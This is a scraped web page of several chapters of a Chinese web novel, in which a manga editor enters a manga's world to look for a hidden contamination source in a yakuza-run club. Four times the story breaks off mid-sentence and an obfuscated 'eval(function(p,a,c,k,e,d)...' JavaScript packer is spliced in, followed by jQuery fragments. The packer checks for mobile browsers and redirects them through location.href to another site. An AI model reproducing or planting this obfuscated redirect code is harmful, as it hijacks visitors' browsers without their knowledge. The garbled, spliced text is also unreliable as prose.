RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813146|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸。 那些选择五花八门,让黑野编辑觉得匣子的想象力又过于奔放了。 还不等他发表意见,又听到匣子说,【等等,有人来了。】 黑野编辑立刻睁眼,果然看到从走廊尽头慢慢走过来一个人影。 从纸面外的观察,到置身于近乎真实的世界中,视角发生了变化。 但黑野编辑毕竟是专业人士,适应得很快。 他立刻认出,来者与漫画中佐伯雄的形象极为相似。 男主角佐伯雄,漫画剧情中原本是个平庸的普通上班族,因为收养了菜菜子而被卷入一连串风波之中,如今在某个地下俱乐部从事出卖尊严的工作。 来人相貌清秀,衣着朴素,发型和面部细节都能对得上。 如果冬云茜的创作是在临摹这个世界,那么他在刻画佐伯雄时将其神韵抓得很准。 此时的佐伯雄面色苍白,神色恍惚,看见黑野编辑以如此异常的形象站立在走廊上时,明显有些疑惑,又立刻让视线飘走,不对奇怪的客人多做打量。 他紧贴着纸壁,低着头,视而不见般,从黑野编辑身侧走过。 黑野编辑默不作声地观察着男主角,对方步履沉重,身上沾着食物和酒气的余味,显然是刚下班的样子。 精神不好,但看起来还算正常,遭逢意外时也并没有过度惊惶。 不像是见识过异变和怪物后的状态。 匣子热心地问,【不和他打个招呼?】 黑野编辑没有惊扰那个刚下班的可怜人,靠在墙边闭上眼,握住匣子,在心里发问,【要找的污染源和他有关?】 【不确定。】匣子回答,【特殊污染源应该都是来自于世界外部的。建议你先找找明显异常的,本不该存在于这个漫画世界的事物。】 【可能是个传送通道入口。也可能是从世界裂隙里飘进来的神秘病毒、邪恶神像,甚至是个秘密组织。如果特殊污染源有自我意识的话,或许还会有外在伪装。】 【谁知道呢?】匣子说,【这是你的任务。】 【我明白了。】黑野编辑点点头,又问,【这里是漫画世界的哪个时间节点?】 【不好说。这个世界发展失常,情节停滞不前,冬云茜似乎画过很多个版本的后续,又都推翻了。】匣子旁听过编辑们与漫画家的谈话,冬云茜在哭诉中自称曾多次撕毁画稿并重绘,应该没有撒谎,这点与它所探测到的迹象是相符的。 【虽然不知道在冬云茜的几度修改中经历过什么,但这个世界现在的时空很混乱。】 【不过看起来现在像是在剧情前期,】匣子也注意到了黑野编辑留意的事情,【男主角身上还未发生异变。】 【你还挺幸运的嘛,估计是冬云茜刚刚撕毁了一次稿件,又将世界回退了。】 【不然刚进来就要遭遇后期的怪海,以你这瘸腿,可真是……】 匣子突然噤声。 男主角佐伯雄已经离开了这条走廊。 黑野编辑试着发挥自己的想象力来换身衣服,但没能成功,【帮我换件正常的外出服,我衣柜里就有的那种。】 匣子又嘟哝了一声没有想象力什么的,不知道是瞧不起他无法自主换衣服的行为,还是瞧不起他的服饰品味。 匣子精准挑中了黑野编辑平日里最少穿的那套衣服,又贴心地将刚刚地板墙壁上的水痕污渍清除了。 黑野编辑低头看了一眼,身上是套咖色休闲西装,款式稍嫌夸张。 这不是他自己购置的衣物,而是某位漫画家赠送的漫画联名款,复刻了其笔下经典角色的形象。 杂志社里每个员工都有一套,好在宣传活动中集体亮相。 他也就在活动中穿过那么几次。 至少正常,能看,还刚好配有手杖。 黑野编辑没有太放在心上,撑着手杖向外走去,探索外面的地图。 他跟着佐伯雄离开的方向,行出走廊,走廊外就是地下俱乐部的大堂。 俱乐部的门敞开着,门外是深夜的暴雨。佐伯雄撑着一顶透明塑料伞,冲入雨幕,快速消失于飘摇的风雨中。 黑野编辑看着屋外的暴雨,若有所思。 【还不快跟上他?】匣子催促。 黑野编辑摇摇头。他看过的那版漫画剧情中,男主角就是在这个俱乐部工作时出事的。特殊污染源最有可能潜藏的地方就是这里。与其追踪男主角,更应该先搜查俱乐部才对。 在异变发生前,男主角还会一直回来这里工作,不用担心之后找不着他。 11. 怪物与“前台” 【不,我的意思是,你再不走就迟了。】 刚补充完这句话,匣子就痛惜地宣布道,【迟了。】 背后有动静,来自大堂的前台。 黑野编辑闻声转身,直面从茶水间中慢慢探身出来的生物。 最先亮相的是几排扶着门框的触须,随后,伴随着一种濡湿又黏腻的摩擦地面的声响,一座沉重的身躯顶开了茶水间的门。 粗糙的皮肤上遍布着翕动着的丑陋吸盘。 是出现在漫画后期里的怪物。 【你先前的行动路线,恰好能避开厨房和包厢里聚集的那些,我就没和你说。】匣子无奈地说,【这次要是你跟着佐伯雄,走得快一点,可能也遇不上的。】 黑野编辑的第一想法是,冬云茜的画风还蛮写实的。 最后的深海地狱绘场面,竟然没有多少艺术夸张的成分。 那座怪物正在迟缓而坚定地向黑野编辑靠近。 它躯壳中镶嵌的数十只眼睛,骨碌碌地转动几圈后,全都锁定住了黑野编辑的行动。 黑野编辑在不久前刚见识过冬云茜和鹰之助的变异,可当时地震山摇,再加上停电和暴雨带来的昏暗光线,一切景象都有种不真实的恍惚感。 而眼前这头怪物,则是以无比真实的形态,矗立在金碧辉煌的大堂中。 他直面着来自怪物的威压。璀璨的玻璃顶灯照耀着怪物每一寸细节。光可鉴人的地板上晃动着怪物的倒影。 这才是真正的身临其境。 【我收回先前那句关于幸运的发言。】匣子说。 打脸来得这么快。它探测到怪物存在时,原本还想着遮掩过去的。 黑野编辑会怎么做呢? 面对巨兽,转身逃跑一般是下策,这更容易激发对方的反应。 人类很难想象异兽的身体结构能将躯体驱使得有有多快。人类的长项也绝对不是爆发力。 【要预支些积分,加点力量数值吗?】匣子给出建议,【要是先把你的腿给治好?】 费了这么多功夫,它不想这么快换新宿主。 黑野编辑闭上眼睛,握住匣子问,【这个是特殊污染源吗?】 【不是。】匣子暗中嘲笑,【这种程度,充其量就是个受影响而引发异变的普通漫画角色罢了。】 得到回答后,黑野编辑哦了一声,睁开眼,直接朝着那座怪物走过去。匣子在黑野编辑的耳边发出一连串示警的尖锐爆鸣。黑野编辑无动于衷,撑着手杖一瘸一拐地走到怪物脸前。 怪物的触须都快伸到了黑野编辑的脸上,却停下动作,用数十只眼睛打量着不自量力的人类,从发声器官中传出意义不明的吼声。 黑野编辑已经站到了前台边,宽大的台面几乎都被深海怪物的躯体覆盖住了,只在间隙中留有少许空白。 他敲了敲台面,冷静地说,“帮我查查,我定了今晚的包间。” 怪物对着他发出一阵质疑的吼声,细密的水汽都快喷溅到黑野编辑的额发上。 这比先前的暴雨可差远了。 黑野编辑不闪不避,盯住怪物上方最中央的那只眼睛,咬字清晰地继续说道,“就是今晚,这个点。你要不再看看良平先生的备忘录?” 怪物有些迟疑,触须像是要退却。 黑野编辑又补充道,“一个幽静的,适合谈话的空包间,你懂的。” 怪物整个身躯都退缩了一下,随后往后挪动,露出前台整个台面,在一众笔记中触须飞舞地翻找着。 【这是怎么回事?】匣子求知若渴。 黑野编辑一闭上眼睛,匣子就主动乖觉地挤入了他的手掌里,卡在虎口之中。 黑野编辑回答,【这不是怪物,是俱乐部的前台。】 匣子沉默了。 黑野编辑又说,【你认为我可以靠想象力换衣服,说明漫画世界是以唯心主义为主导的世界。】 【别乱来。】匣子抱怨,【世界的规则可比你们人类随意揣度的要复杂得多。】 黑野编辑发现匣子似乎对人类的逻辑理性存在偏见,或者是怀有积怨。 【我并非随意揣测怪物的身份。】他解释说。他连自身的衣服都换不了,自然不认为自己能靠想象来硬生生改变他人的设定。他是在用理性推导规则。 【我发现外面下暴雨了。但是雨伞架上的伞只少了佐伯雄拿走的那一把。】他说,【其他伞也都是干的。这说明暴雨是刚刚落下的。】 外面暴雨情势之急,让人很难想象这是突然降下来的。 而在唯心主义的世界里,则很容易找出原因。 【外面下暴雨,是因为佐伯雄在走廊上看到了被淋湿的我。】黑野编辑说,【只有如此,才能解释我的出现。】 【无论是东云茜在进行情节构思,还是这个世界想要向正常的世界‘发展’,他们都会试图构建故事的合理性。】他说出自己的推论。 【而且,这是以佐伯雄的视角为基础的。】 【万事万物,包括角色向怪物转化的异变,在佐伯雄那里,一定有一套合理的解释。】 这是世界的主角所理应拥有的特权,或者说,这是当世界稳固时,基石仅能知晓的唯一状态。 对东云茜来说,佐伯雄的视角是读者观察这个世界的窗口。而佐伯雄不知道的那些设定,例如菜菜子母亲的身份,被追踪的原因,作者暗中变卦多少次都没有关系。 若漫画世界是一座积木塔,佐伯雄大概就是背负起所有设定的基石。 【既然知道,】匣子肯定了黑野编辑的推论,【为什么不跟着佐伯雄走?】 为了试炼宿主的能力,它没有直接告知规则,但也给出过安全上的提醒。 【我的任务不是跟着他,】黑野编辑没有忘记目的,【是找出特殊污染源。】 【虽然佐伯雄不在,但世界大体上应该还是按照他的认知来运转的。否则很难保证事物发展的连贯性。】 佐伯雄明天还会来俱乐部上班的。【所以,眼前的怪物,以及怪物行为造成的种种后果,必然能够为佐伯雄所理解。】 怪物看似重量惊人,缺乏智慧,但它所处的厅堂环境干净整洁,前台物品也未遭到损坏,就是明证。 匣子又想笑了,【你认为怪物不会伤害你?】 【不,这家俱乐部本来就有黑.道背景,】黑野编辑说,【有人受伤或失踪都很正常。】 【只不过,根据佐伯雄的状态来判断,怪物的存在于眼前这个阶段还未被他证实。】 匣子问,【所以,眼前的怪物的异变怎么解释?】 【有可能是怪物有智慧有组织地向佐伯雄隐瞒身份。】 怪物出现在了黑野编辑面前,说明怪物并不忌惮所有人类,那么佐伯雄必然有其特殊性,而漫画中对此没有任何暗示或伏笔。 【有可能只是佐伯雄工作劳累后神智恍惚的短期幻觉。】 这是东云茜在漫画刚刚变调时试图给出的解释,只可惜,从后来的剧情发展来看,故事一路奔向恐怖漫画的趋势已无力挽回。 【至于现在,两套系统在没有正式冲突的情况下,似乎是可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813147|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以并行的。哪种解释都行得通。】 这也是一种悬疑或恐怖故事中偶尔会使用的创作手法。 难以辨别,没有定论,就是其魅力所在。 东云茜不愿意让故事沦为低级恐怖怪物故事的坚持,也让黑野编辑得到了一线生机。 【东云茜曾经多次删改,造成了这个世界的时空混乱。】 这种混乱大概就是怪物在早期阶段突然存在,甚至令匣子也感到意外的原因。 【若故事完全向一个可能性倾斜,甚至还是东云茜不愿意接受的设定,东云茜可能会对这个世界造成进一步的破坏。】 【所以,我认为这个世界在‘发展’中,会调整各种设定来努力维持这种均衡。】 【就算眼前的怪物是怪物,也必须同时担负起幻觉解释中‘人’的身份。】 【她是前台。】怪物从茶水间出场的位置是一个推断的关键要素。 此外,俱乐部前台这个角色作为俱乐部背景,仅在漫画中出场过几格,隐约是个爱刺探八卦的人设,让身藏秘密的佐伯雄下意识回避。如果这是幻觉的话,其多眼多触须的形象,也与佐伯雄潜意识里对她的恐惧对得上。 黑野编辑听不懂怪物发出的声音,只能假定最开始的吼声是在询问身份。若刚才黑野编辑逃跑或是攻击,“前台”只怕真要用怪物的方式来对待身份不明的人士了。 而在他以对待前台的方式对待怪物后,怪物的攻击态势的确有所减弱。 【我提出自己订了包间后,她的举动像是在拒绝。】黑野编辑分析道,【可能因为已过了营业时间。】毕竟佐伯雄都下班了。【也可能在质疑我的订单是假的。】 确实是用假订单骗人的黑野编辑泰然自若地说,【所以我再次确认了时间,并用了良平先生的名号。】 这也是《夜樱》漫画中一笔带过的设定。这家地下俱乐部有黑.道背景,幕后者被称为“良平先生”,但并未出场过。 无论是在幻觉论还是在怪物论里,良平先生的熟人这一身份,肯定都能带来一定安全保障。 而且,【我想试试看,在这个唯心主义的世界里,身份是否能同衣服一样改变,我和角色对话中加进来的信息,能否被这个世界观接纳并成立。】 匣子没想到黑野编辑能这么快就察觉到这一隐藏规则。 而且,就算有了如此严密的推理,也不是每个人都有胆量敢付诸实践的。 匣子不由暗喜自己找对了宿主。 一阵怪物的呼噜噜声在黑野编辑的耳边响起,与此同时,他手臂上传来一阵轻微拉扯的晃动。 黑野编辑睁开眼,装作刚刚睡醒。缠在他手臂上的几条触须立刻缩了回去。 取而代之的是,怪物伸出更加强壮的触肢,半拎半拖着编辑的身体,往走廊深处走去。 很难评价“前台”的礼仪,又或许这就是癫狂幻觉的加工,将现实中的指路引导变成了幻觉世界里的挟持。 转过几个弯后,果然到了一个足够幽静的空房间。 怪物将黑野编辑放下地,随后转身离开房间。 纸门也被怪物拉上了。 怪物拉门的动作倒是很轻巧,与对待人类时的鲁莽举止截然不同,纸门及其他财物都没有半点损坏。 不一会儿,又有另一头怪物端了酒水和佐酒小菜进来。 是一头戴着发簪的巨型青蛙,用蹼黏着托盘,放下酒菜后离开,照样关上门。 青蛙的发簪是这家俱乐部里的统一制式。 看来服务人员还未全部下班。 12. 不存在的人 佐酒小菜明显不是正餐,而是等待宾客到齐前的小食。有些餐饮业会用茶水和糕点,这里用酒菜,或许和地下俱乐部的营业属性有关。 黑野编辑不由想起了东云茜待客的食物,不知道漫画和作者之间存在的对应联系,究竟是哪边影响了哪边。 【不知道待会儿会有谁来。】匣子的语气明显对剧情充满期待。 黑野编辑当然不会动眼前的食物,让匣子确认了这份生食也不是特殊污染源后,他倚着手杖站起来,绕过桌面,拉开通往屋外的纸门。 守在外间的青蛙怪物立刻爬过来,隔着拉开的门缝,对黑野编辑咕咕数声,大概是服务员在询问客人的需求。 黑野编辑摇摇头,重新关上门。 他先看了看房间的窗,窗格是固定的,又走到房间侧边,附耳听到隔壁没有声音后,敲敲板壁试探其厚薄。 樱岛地震多,房屋结构一般都很轻盈。黑野编辑用手杖比划一下,斟酌着破壁的方式。 【你不留下来等吗?】匣子有些惊讶,【万一漫画世界给你安排的约见对象是良平先生呢?】 因为黑野编辑冒用了良平先生的名义,又疑似是在其产业打烊后的闭店时间约见,就常理而论,约见对象就是良平先生本人的概率是最高的。 再不然,也该是与这家俱乐部有瓜葛的重要人士。 在这次约见中,没准能像对“前台”那会儿一样,借着谈话不断增加新设定,将在这个漫画世界的新身份敲定下来,还能直接从重要人士那里探听俱乐部相关的内部消息,简直是一举两得。 有个合适的好身份,可太方便接下来的调查了,匣子不认为黑野编辑会忽视其中优势。 【世界未必按我想要的走向来圆剧情。】黑野编辑闭眼握住匣子,传达自己的想法。 与“前台”的周旋,是短兵相接下不得已的应对。 对长线剧情,他就绝对不会保持如此天真乐观的情绪。 黑野编辑可是曾被漫画家们的各种奇思妙想震撼过的。 他知道,哪怕给出一个最小最具体的命题要求,让漫画家们做四格甚至只是出一张贺图,那些漫画家们也能玩出无数的花样来。 这个被预定的包间,有可能是真的,但来赴会者是人是鬼是怪物是警察,就很难说了。 万一包间只是缓兵之计,前台正在进一步确认预订情况,甚至是在查证打着良平先生旗号的假客人身份呢? 若如此,待会儿等着黑野编辑的就是一群冲进来的打手怪物了。 ……更何况,就算真有一场安全的会面,考虑到这个俱乐部的性质,黑野编辑也绝对不想眼睁睁看着一群怪物在他面前表演人体盛,更无法接受席间那种恶心的食物。 约在这种俱乐部相见的重要人士,不见也罢。 门外的青蛙服务员可能肩负着看守的任务,最好不要用离开的借口去刺激它。 窗户是固定死的窗格,缝隙狭小,无法容纳人类的身躯出入。 若要砸穿墙壁的话,动静又太大。 黑野编辑环视室内,寻找是否有合适的工具。又思考着能否制造混乱,声东击西,好让自己得以脱身。 条件受限,他暂时没有理出完整实用的思路。构思计谋、策划惊喜是漫画家们拿手的活计。 黑野编辑承认自己的确没有多少想象力,不够天马行空,不擅空中楼阁。 他更习惯做的事情是,结合已知的条件展开逻辑推理和分析,又或是围绕某个具体的目标,制订步骤明确的计划。 匣子及时展现自己的体贴,【要帮忙吗?】 【要。】黑野编辑没有拒绝。 他想到一件事,【当我在与角色互动的过程中带来新情报,世界会作出相应解释和安排,那如果我不与角色发生互动呢?】 【什么意思?】匣子一时没跟上他的思路。 黑野编辑提出请求,【帮我换件隐身衣。】 匣子只被这种旁门左道震惊了一瞬,就恢复过来。 虽说刚刚承诺了要提供帮助,但它有些不情愿,倒不是抗拒被当成换装系统,恰恰相反,它可太想继续提供这方面的“帮助”了。 想想看,在这个世界里,黑野编辑要穿什么衣服,形象上可都得它说了算耶。 而隐身衣这个一劳永逸的提议,岂不就完全拿走了它的服装支配权,极大妨害了它的工作趣味? 匣子的犹豫被黑野编辑理解成拒绝。 毕竟隐身是种强大的功能,非要将其说成是一种衣物,就像要求商店里的玩具机甲能发射激光炮一般,有些强人所难了。 【神话概念不行的话,动态调整的光学迷彩呢?】黑野编辑思考着,【不过,就算是普通的换装系统,也有潜力可挖掘的。】 匣子抗议,【什么叫做普通的换装系统!?】 黑野编辑放低要求,【如果我保持静止的话,你能更改外观,让我看起来像是家具之类的静物吗?】 职业快要从形象设计师降级为家具批发商的匣子无言以对。 【做不到吗?】黑野编辑真诚地问。 匣子知道,这个激将计它非中不可。 【区区隐身,怎么可能难得到我?】 青蛙服务员再度进屋的时候,只看到空无一人的房间。 它呱呱乱叫一阵,又蹦了两圈,没有做深入的搜索,急急忙忙地蹦走了。 黑野编辑跟着它离开房间,但没有继续跟随青蛙的脚步。 可想而知,接下来会有人或怪物来查探这个房间。 可能会引发俱乐部内一阵小小的局部混乱。 但黑野编辑并不关心后续的情节发展。那个身份已经和他无关。他又听不懂怪物的交谈,这种跟踪查探的情报获取效率不高。 往怪物扎堆的地方去是危险的。 除开大堂外,这里的屋舍走廊并不算宽阔,怪物的体型又普遍巨大。 虽然怪物的体型可能是某种幻觉形态下的夸张,但黑野编辑不敢冒险尝试发生碰撞的后果。 人类的直觉也可以解释其远超于身躯的感知范围,未必不能就此发现隐身状态的物品。 营业时间快要结束了,俱乐部里所剩的客人和服务人员都寥寥无几。 黑野编辑回避着怪物,四处探索着俱乐部内的环境。 大多数房间都是黑的。 亮灯会引起俱乐部员工的额外注意,所以现在还不能去探查。 黑野编辑悄无声息地走过一条条走廊,记下了功能分区和员工休息室的位置。 最后,在匣子的导航下,他找到了厨房。 由于现实世界里的异变靠食物扩散传播,黑野编辑怀疑这个俱乐部的食物也有问题,一开始就将厨房作为计划中的重点调查区域。 厨房也差不多结束了食物供应。 行政主厨正在指挥一众员工们清洁厨房,用水流冲洗案台和地板。 在隐身的状态下,接触水也很容易留下痕迹。黑野编辑停在厨房外面,探身观察了一下。 樱岛的本土传统食物讲究食材新鲜,许多高级食材都是当日供应,当日售罄。 这会儿大多数冷柜都是空的。 估计要等第二天凌晨由供应商或采购人员送来。 厨房的灯熄掉了。 黑野编辑找了个员工休息室,对付了一夜。 第二天,佐伯雄来上班,展现了男主角的威能。 俱乐部里的所有怪物都变成了面貌正常的男男女女,以樱岛人的职场礼仪向客人们打着招呼,发出的声音也都是能够正常理解的人话了。 匣子又可以重新替黑野编辑感叹,东云茜刚刚撕掉画稿回退了剧情的那份幸运。 至少佐伯雄眼里的世界,在这个时间点里还是正常的。 黑野编辑抓紧时间开展对俱乐部的调查。 这个俱乐部对客人分了贵宾等级,来开放不同等级的区域。 黑野编辑算是在调查过程中充分见识到了,人沉溺于欲望后会被诱发出来的猎奇卑劣的一面。他很怀疑东云茜的取材能否深入到这一步。或者是漫画世界在自行“发展”中的完善。 又或是因为东云茜曾从事过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813148|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成人漫画产业。漫画家所熟知的那些成人漫画中的夸张想象,在潜意识里投射到这个世界中。 俱乐部里藏了很多暗室,调查起来颇费心思。又有许多节目和菜单是需要特殊预约的,若未能赶上开放时间,则无从调查。 厨房那边的食物供应也要看渔民的鱼获,若只有其中某一道菜有问题,也未必就能立刻碰见。 常客群体也存在同样的问题。 这种调查不是一天半天就能结束的。 黑野编辑预计自己大概要在这里花费至少一周时间。 虽说佐伯雄帮了大忙,极大降低了黑野编辑的调查难度,但黑野编辑很少遇见佐伯雄。 佐伯雄在俱乐部中的活动范围很小。 毕竟在这种观赏性的风俗行业里,对男性从业者的市场需求,只占整个产业的极小部分。除了练习室和准备室外,佐伯雄常去的就只有他所服务的少数几个包间。 那几个地方在一开始就被黑野编辑彻底搜查过了,没有发现问题。 只有在每天的用餐时间,黑野编辑会固定去见男主角。 在这个漫画世界里,隐形后的黑野编辑算是不存在的人。按理来说,他对食物的需求也是可以用唯心主义来克服的。 但黑野编辑不仅对自身的形象很固执,对身为人类该有的生理需求也很固执。 他丝毫不在乎匣子的嘲笑,坚持睡觉,也坚持进食。 漫画世界的食物可能有问题。 考虑到漫画最后唯一没有化为怪物的人类就是佐伯雄,黑野编辑每次都去和佐伯雄一起吃员工餐,确保米饭都是同一锅里蒸出来的。 樱岛的绝大多数企业都是不包员工用餐的。好在这家俱乐部作为餐饮业,是个例外。 【不然,你就得去偷男主角自带的便当了?】匣子不忘嘲笑。 员工集体用餐,份量是有余的,少点也不容易被发现。 每天里十几分钟的交集,让黑野编辑近距离观察到佐伯雄的为人。 漫画未必能完整展现一个人的全部性情,眼见为实。 佐伯雄虽然是个普通上班族,但漫画里曾展现出他的一个特点——他人缘很好。 他父母早逝,又是单身,没有经营什么爱好圈子,人缘主要体现在职场上。 在漫画前期,男主角调查时几乎没遇到什么工作或请假上的麻烦,偶尔带养女去公司照顾,还会被同事们友善地嘲笑,说他就是看上去太老好人了,才会在走夜路时被陌生女人托付孩子。 哪怕在离职后,佐伯雄偶然遇见旧同事时,还得到过对方帮助,为菜菜子联系介绍了一家不需要住民票的私立幼儿园。 黑野编辑见到的佐伯雄却很少主动和人来往,在俱乐部中没有深交的朋友。 这应该不是对同事怀有傲慢或歧视,因为佐伯雄在做陪酒女时,和姐妹们的关系也不错。那些姐妹们都愿意在工作上照顾他,误杀事件发生后还帮助他并劝他逃跑。 现在这种表现,可能是身负案件,不得不沉默少言,又在耻辱的工作中忍受着折磨和压力,导致性情上有所转变。 这样的佐伯雄,仍旧不是一个坏人。 他也会在员工餐时的闲聊中发言,毕竟在樱岛,不合群是一个极为显眼的罪名。 他不议论人,不喜欢八卦,也没什么可对人炫耀的生活。 他爱说笑话。这是漫画中原本就有的设定,也是《夜樱》依旧是亲子漫画时的温馨感来源之一。 虽然落魄了,他依旧也会和不相熟的同事们说笑话。 事实上,他的幽默感一般,笑话说得不算出色,但在俱乐部这种没有尊严、压力极大的工作环境里,这种简单的笑料最容易缓解情绪压力。 他失去了过去的人缘,但也不讨人厌。 黑野编辑比较有感触的是,佐伯雄的笑话,大多是在嘲笑那些较真、一根筋的人。 但佐伯雄自己,其实就是一个做什么事都很认真的人,否则也不会如此认真地完成陌生人的委托,活到今天这样的地步。 这样的角色原本不该走入绝境。 13. 夸张与写实 【能进一步阐述我们正在寻找的特殊污染源的特征吗?】 又一个搜查项目完成后,黑野编辑向匣子提出请求。 这么多天下来,他已经彻底搜查过俱乐部内的所有暗室,见识了绝大多数合法和不合法营业项目,检查完所有常规菜品和部分特殊菜品,跟踪了很多常客群体,却依旧没能找出特殊污染源。 接下来可能有必要更换搜查方式了。 不同于否定送检物品时的一口一个“不是”的干脆利落,匣子思考了一下,才回答,【我不知道。】 【所谓的特殊污染源,就是,当我看到时,我就能知道它是,但在我看到前,我也不知道那是什么样的东西。】 若在别人那里,这个回答相当于没有回答。 不巧的是,黑野编辑经常听到这种表述,通常是搜肠刮肚的漫画家在形容久久不至的灵感。他极有耐心,一般会用穷举法来帮漫画家找灵感,直到漫画家终于抓住那个灵感或是彻底将他赶出屋去。偶尔也会采用刺激法,具体就不举例了。 不过,主观审美和客观认定是有区别的。 黑野编辑又问,【当你看到特殊污染源的那一瞬间,你是怎么认定它就是特殊污染源的?】 【至少,它要携带足够多的我无法解析的信息吧。】 黑野编辑自行理解,【就是说,是你看不懂的东西。】 不顾匣子的生气,他继续问道,【在那些变异的怪物身上,都采集不到你无法解析的成分吗?】 【对这个漫画来说,怪物当然是受到影响后的结果。】匣子气冲冲地解释,【但这可是漫画世界啊,真放到一个恐怖漫画的环境里,这种程度的异常情况算得上是异常吗?】 【角色的变异,就像是受影响后被诱导出来的癌变。】 【你能拿着癌症的医疗报告,去怪罪具体哪里的紫外线、烟雾、腌肉,甚至是一次皮肤摩擦吗?】 【目前我们只能通过世界发展违背漫画家意愿的畸形现象,圈定这个漫画世界里必定存在有污染源而已。】 【但究竟是什么?我只能说,你给我看的所有东西都不是特殊污染源。至少,在你给我看的那一刻不是。】 黑野编辑没有受匣子情绪的影响,意识到先前工作的疏漏,“也就是说,我给你看的那些东西其实也可能是特殊污染源,只是在你检测的那一刻它并没有被激活。” 【我一开始就告诉过你,特殊污染源有可能伪装自身。】匣子有些得意于自己的事先声明,【要我发现的话,至少你要帮我剥除它的伪装。】 也就是说,要让匣子发挥作用,得找到特殊污染源主动出击的那一瞬间,抓个现行才行。 大范围单次扫描的搜索方向从一开始就是在碰运气——而黑野编辑恰巧对自己的运气有着鲜明的认知。 虽说走了弯路,黑野编辑也不生气。 匣子不止一次声明过这次任务完全是对他个人的试炼。 不论这个声明是真是假,就从匣子拖到东云茜等人都陷入危险后才发声的态度中,黑野编辑也能料到匣子不会全心全力地帮忙。要么就是它有重度拖延症。 没关系。他也从来没指望过匣子太多。 他带过很多漫画家。匣子不是其中最摆烂的一个。 先前的工作并非全都是白费力气。 那些静物摆设的嫌疑仍不能排除,可黑野编辑一直很在意导致异变发生的关键环节,他在后厨检查过食材的全套处理流程,也忍耐着恶心全程观看完特殊的宴席。 在这些过程中,匣子都没有侦查到特殊污染源的活动迹象。 【你可以继续等嘛。】匣子故意语气轻松地说,【反正任务没有时限。】 不,是有时限的。黑野编辑心想。 佐伯雄的状态越来越糟了。最近有两次,哪怕是男主角在场的时候,世界也轻微晃动重影,让人类瞬间展露出怪物的面貌。 佐伯雄面色苍白,微微颤抖,仍装作视若无睹。这是漫画中男主角开始出现幻觉的剧情。 等到佐伯雄幻觉加重,精神崩溃之时,这个建立在他的视角上的漫画世界,会怎么样? 可能性一是世界终结。 可能性二是停留在永恒的荒诞结局中。 可能性三是叙事彻底混乱,失去所有秩序。 而无法离开这个漫画世界的黑野编辑,结局也可想而知。 黑野编辑没有主动交流,但他思考这些时也没有特意回避匣子,仍将匣子握在手中。 匣子装作不知道,不承认也不否认。 黑野编辑没有停留于悲观的推理,在确认任务期限后,开始着手思考策略。 要将特殊污染源逼出来,最好的方法是大闹一场。 【我在两天前就建议过你,】转到这个话题,匣子可就兴奋了,它立刻冒出来,【你赊点积分,让我帮你将这个俱乐部炸掉如何?】 不得不说这个提议相当有诱惑力。但最具有诱惑力的时候,还是在两天前匣子刚刚提出来的时候,那时黑野编辑正在观摩一场极为龌龊的表演。 当时的黑野编辑没有同意,现在更不会。 这是他作为编辑的基础素养——要审慎辨别漫画的道德主题,但不要和漫画世界中罪恶的表现形式瞎较劲。 【扮演驱魔师呢?】这也是匣子最近津津乐道的提议,它一直在鼓吹黑野编辑搞个人设,主动参与这个世界的剧情。 【出门在外,身份是自己给的。】匣子撺掇说,【只要漫画世界接受了这个战力设定,你就完全不用怕那些怪物,可以放开手脚调查了。】 从黑.道大佬到俱乐部头牌,再到杀手天使,千年恶灵,它已经替黑野编辑做过很多套方案。 此般着迷程度,让黑野编辑怀疑这是匣子自己的喜好。 匣子提供的人设都太喧宾夺主了,而黑野编辑记得,【佐伯雄才是主角。】 【谁做主角不是各凭本事吗?】匣子对此不屑一顾,【为什么要操心他,这个世界会顾着他的。没准引入新设定后,他还能血脉觉醒,后来居上呢。】 匣子被勾起了不愉快的回忆,初见时黑野编辑似乎也曾说过无意做主角之类的话,【是神州人太谦虚内敛,还是你有舞台恐惧症?】 黑野编辑无意解释自己的志趣。 他还有些职业道德上的顾虑。编辑不应该越过漫画家擅自干涉剧情。这就是为何他不愿意按照匣子的提议,肆意破坏故事场景,或随意增加新奇的设定。 这也是为何在最开始的时候,他就尽量减少和男主角,甚至是和良平先生这种幕后重要人物的接触,极力隐藏自身的痕迹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813149|190811||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他原本想要在尽量不影响世界正常发展的情况下独自搜查特殊污染源。 【啊,你可能没多少时间犹豫了。】 